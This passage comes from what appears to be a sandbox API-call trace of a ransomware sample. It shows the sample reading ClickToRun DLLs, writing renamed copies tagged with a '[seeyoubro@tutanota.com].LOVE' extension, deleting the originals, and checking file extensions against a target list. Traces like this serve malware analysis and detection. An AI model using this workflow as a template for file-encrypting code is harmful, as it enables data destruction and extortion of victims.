dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0209.635] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.635] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.640] GetLastError () returned 0x0 [0209.640] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x73aa0, lpOverlapped=0x0) returned 1 [0209.658] WriteFile (in: hFile=0x374, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x73ab0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x73ab0, lpOverlapped=0x0) returned 1 [0209.666] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.666] WriteFile (in: hFile=0x374, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xfa, lpOverlapped=0x0) returned 1 [0209.667] SetEndOfFile (hFile=0x374) returned 1 [0209.667] CloseHandle (hObject=0x374) returned 1 [0209.926] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.926] SetEndOfFile (hFile=0x2d8) returned 1 [0209.931] CloseHandle (hObject=0x2d8) returned 1 [0209.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.931] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 1 [0209.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0209.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0209.932] lstrlenW (lpString=".doc") returned 4 [0209.932] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.932] lstrlenW (lpString=".docx") returned 5 [0209.932] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0209.932] lstrlenW (lpString=".pdf") returned 4 [0209.932] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.932] lstrlenW (lpString=".xls") returned 4 [0209.932] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.932] lstrlenW (lpString=".xlsx") returned 5 [0209.932] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0209.932] lstrlenW (lpString=".ppt") returned 4 [0209.932] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0209.932] lstrlenW (lpString=".zip") returned 4 [0209.932] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.932] lstrlenW (lpString=".rar") returned 4 [0209.932] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.932] lstrlenW (lpString=".bz2") returned 4 [0209.932] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.932] lstrlenW (lpString=".7z") returned 3 [0209.932] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0209.932] lstrlenW (lpString=".dbf") returned 4 [0209.932] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0209.932] lstrlenW (lpString=".1cd") returned 4 [0209.933] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0209.933] lstrlenW (lpString=".jpg") returned 4 [0209.933] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0209.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0209.933] lstrlenW (lpString=".doc") returned 4 [0209.933] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.933] lstrlenW (lpString=".docx") returned 5 [0209.933] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0209.933] lstrlenW (lpString=".pdf") returned 4 [0209.933] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.933] lstrlenW (lpString=".xls") returned 4 [0209.933] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.933] lstrlenW (lpString=".xlsx") returned 5 [0209.933] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0209.933] lstrlenW (lpString=".ppt") returned 4 [0209.933] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0209.933] lstrlenW (lpString=".zip") returned 4 [0209.933] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.933] lstrlenW (lpString=".rar") returned 4 [0209.933] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.933] lstrlenW (lpString=".bz2") returned 4 [0209.933] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.933] lstrlenW (lpString=".7z") returned 3 [0209.933] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0209.934] lstrlenW (lpString=".dbf") returned 4 [0209.934] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0209.934] lstrlenW (lpString=".1cd") returned 4 [0209.934] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0209.934] lstrlenW (lpString=".jpg") returned 4 [0209.934] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.934] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.934] lstrlenW (lpString="AppVIsvVirtualization.dll") returned 25 [0209.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0209.934] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=567512) returned 1 [0209.934] CloseHandle (hObject=0x2d8) returned 1 [0209.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0209.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0209.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0209.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0209.935] lstrlenW (lpString=".doc") returned 4 [0209.935] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.935] lstrlenW (lpString=".docx") returned 5 [0209.935] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0209.935] lstrlenW (lpString=".pdf") returned 4 [0209.935] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.935] lstrlenW (lpString=".xls") returned 4 [0209.935] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.935] lstrlenW (lpString=".xlsx") returned 5 [0209.935] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0209.935] lstrlenW (lpString=".ppt") returned 4 [0209.935] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0209.935] lstrlenW (lpString=".zip") returned 4 [0209.935] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.935] lstrlenW (lpString=".rar") returned 4 [0209.935] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.935] lstrlenW (lpString=".bz2") returned 4 [0209.936] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.936] lstrlenW (lpString=".7z") returned 3 [0209.936] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0209.936] lstrlenW (lpString=".dbf") returned 4 [0209.936] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0209.936] lstrlenW (lpString=".1cd") returned 4 [0209.936] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0209.936] lstrlenW (lpString=".jpg") returned 4 [0209.936] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0209.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0209.936] lstrlenW (lpString=".doc") returned 4 [0209.936] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.936] lstrlenW (lpString=".docx") returned 5 [0209.936] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0209.936] lstrlenW (lpString=".pdf") returned 4 [0209.936] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.936] lstrlenW (lpString=".xls") returned 4 [0209.936] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.936] lstrlenW (lpString=".xlsx") returned 5 [0209.936] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0209.936] lstrlenW (lpString=".ppt") returned 4 [0209.936] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0209.936] lstrlenW (lpString=".zip") returned 4 [0209.937] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.937] lstrlenW (lpString=".rar") returned 4 [0209.937] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.937] lstrlenW (lpString=".bz2") returned 4 [0209.937] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.937] lstrlenW (lpString=".7z") returned 3 [0209.937] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0209.937] lstrlenW (lpString=".dbf") returned 4 [0209.937] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0209.937] lstrlenW (lpString=".1cd") returned 4 [0209.937] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0209.937] lstrlenW (lpString=".jpg") returned 4 [0209.937] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.937] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.937] lstrlenW (lpString="AppVManifest.dll") returned 16 [0209.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0209.938] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=1231576) returned 1 [0209.938] CloseHandle (hObject=0x2d8) returned 1 [0209.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0209.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0209.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0209.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0209.938] lstrlenW (lpString=".doc") returned 4 [0209.938] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.938] lstrlenW (lpString=".docx") returned 5 [0209.938] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0209.938] lstrlenW (lpString=".pdf") returned 4 [0209.938] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.938] lstrlenW (lpString=".xls") returned 4 [0209.938] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.938] lstrlenW (lpString=".xlsx") returned 5 [0209.938] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0209.938] lstrlenW (lpString=".ppt") returned 4 [0209.938] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0209.939] lstrlenW (lpString=".zip") returned 4 [0209.939] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.939] lstrlenW (lpString=".rar") returned 4 [0209.939] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.939] lstrlenW (lpString=".bz2") returned 4 [0209.939] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.939] lstrlenW (lpString=".7z") returned 3 [0209.939] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0209.939] lstrlenW (lpString=".dbf") returned 4 [0209.939] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0209.939] lstrlenW (lpString=".1cd") returned 4 [0209.939] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0209.939] lstrlenW (lpString=".jpg") returned 4 [0209.939] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0209.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0209.940] lstrlenW (lpString=".doc") returned 4 [0209.940] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.940] lstrlenW (lpString=".docx") returned 5 [0209.940] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0209.940] lstrlenW (lpString=".pdf") returned 4 [0209.940] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.940] lstrlenW (lpString=".xls") returned 4 [0209.940] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.940] lstrlenW (lpString=".xlsx") returned 5 [0209.940] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0209.940] lstrlenW (lpString=".ppt") returned 4 [0209.940] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0209.940] lstrlenW (lpString=".zip") returned 4 [0209.940] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.940] lstrlenW (lpString=".rar") returned 4 [0209.940] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.940] lstrlenW (lpString=".bz2") returned 4 [0209.940] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.940] lstrlenW (lpString=".7z") returned 3 [0209.940] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0209.940] lstrlenW (lpString=".dbf") returned 4 [0209.940] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0209.940] lstrlenW (lpString=".1cd") returned 4 [0209.940] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0209.940] lstrlenW (lpString=".jpg") returned 4 [0209.940] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.941] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.941] lstrlenW (lpString="AppVOrchestration.dll") returned 21 [0209.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0209.941] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=947928) returned 1 [0209.941] CloseHandle (hObject=0x2d8) returned 1 [0209.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0209.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0209.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0209.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0209.942] lstrlenW (lpString=".doc") returned 4 [0209.942] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.942] lstrlenW (lpString=".docx") returned 5 [0209.942] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0209.942] lstrlenW (lpString=".pdf") returned 4 [0209.942] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.942] lstrlenW (lpString=".xls") returned 4 [0209.942] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.942] lstrlenW (lpString=".xlsx") returned 5 [0209.942] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0209.942] lstrlenW (lpString=".ppt") returned 4 [0209.942] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0209.942] lstrlenW (lpString=".zip") returned 4 [0209.942] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.942] lstrlenW (lpString=".rar") returned 4 [0209.942] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.942] lstrlenW (lpString=".bz2") returned 4 [0209.942] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.942] lstrlenW (lpString=".7z") returned 3 [0209.942] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0209.942] lstrlenW (lpString=".dbf") returned 4 [0209.942] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0209.942] lstrlenW (lpString=".1cd") returned 4 [0209.942] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0209.943] lstrlenW (lpString=".jpg") returned 4 [0209.943] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0209.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0209.943] lstrlenW (lpString=".doc") returned 4 [0209.943] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.943] lstrlenW (lpString=".docx") returned 5 [0209.943] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0209.943] lstrlenW (lpString=".pdf") returned 4 [0209.943] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.943] lstrlenW (lpString=".xls") returned 4 [0209.943] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.943] lstrlenW (lpString=".xlsx") returned 5 [0209.943] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0209.943] lstrlenW (lpString=".ppt") returned 4 [0209.943] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0209.943] lstrlenW (lpString=".zip") returned 4 [0209.943] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.943] lstrlenW (lpString=".rar") returned 4 [0209.943] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.943] lstrlenW (lpString=".bz2") returned 4 [0209.943] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.943] lstrlenW (lpString=".7z") returned 3 [0209.943] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0209.943] lstrlenW (lpString=".dbf") returned 4 [0209.943] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0209.944] lstrlenW (lpString=".1cd") returned 4 [0209.944] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0209.944] lstrlenW (lpString=".jpg") returned 4 [0209.944] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.944] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.944] lstrlenW (lpString="AppVPolicy.dll") returned 14 [0209.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0209.944] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=1295576) returned 1 [0209.944] CloseHandle (hObject=0x2d8) returned 1 [0209.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0209.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 